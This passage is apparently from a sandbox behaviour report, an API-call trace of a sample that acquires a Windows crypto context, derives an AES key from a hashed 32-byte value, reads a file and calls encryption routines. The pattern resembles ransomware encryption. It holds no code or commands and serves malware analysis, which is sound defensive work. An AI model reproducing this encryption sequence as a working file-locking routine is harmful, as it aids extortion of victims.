lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.780] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.780] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.781] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.781] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.781] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.781] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.781] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0029.781] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.781] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.781] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.781] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.781] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.781] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.781] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0029.781] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.781] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.781] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.781] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.781] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.781] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.781] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.781] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.781] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.781] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.781] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.781] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.781] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.782] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.782] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.782] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0029.782] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.782] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.782] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.782] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.782] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.782] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0029.782] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.782] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0029.782] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.782] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.782] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0029.782] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.782] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.782] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.782] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.782] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.783] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.783] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.783] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.783] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.783] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.783] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.783] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.783] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0029.783] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.783] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.783] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.783] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.783] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.783] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.783] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.783] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.783] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.783] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.783] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.783] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.783] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.783] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.783] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.783] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.783] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.783] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.783] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.783] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0029.784] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.784] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.784] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.784] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.784] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0029.784] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.784] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.784] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.784] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.784] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.784] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b9f0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0029.784] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.784] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.784] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.784] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.784] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.784] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.784] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.784] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.784] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0029.784] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.784] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.784] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.784] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.784] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.784] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.784] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0029.784] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.785] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0029.785] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.785] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.785] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.785] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.785] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.785] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.785] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0029.785] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.785] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.785] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.785] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.785] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.785] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.785] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.787] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0029.787] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x13e9, lpOverlapped=0x0) returned 1 [0029.787] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0029.789] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.789] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.789] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.789] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0029.789] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.789] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.789] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0029.789] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.789] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0029.789] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.789] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.789] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.789] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0029.789] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.789] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064d40, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d40*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0029.789] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.789] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.789] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.790] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.790] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.790] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.790] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.790] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.790] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.790] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.790] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.790] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.790] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.790] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.790] 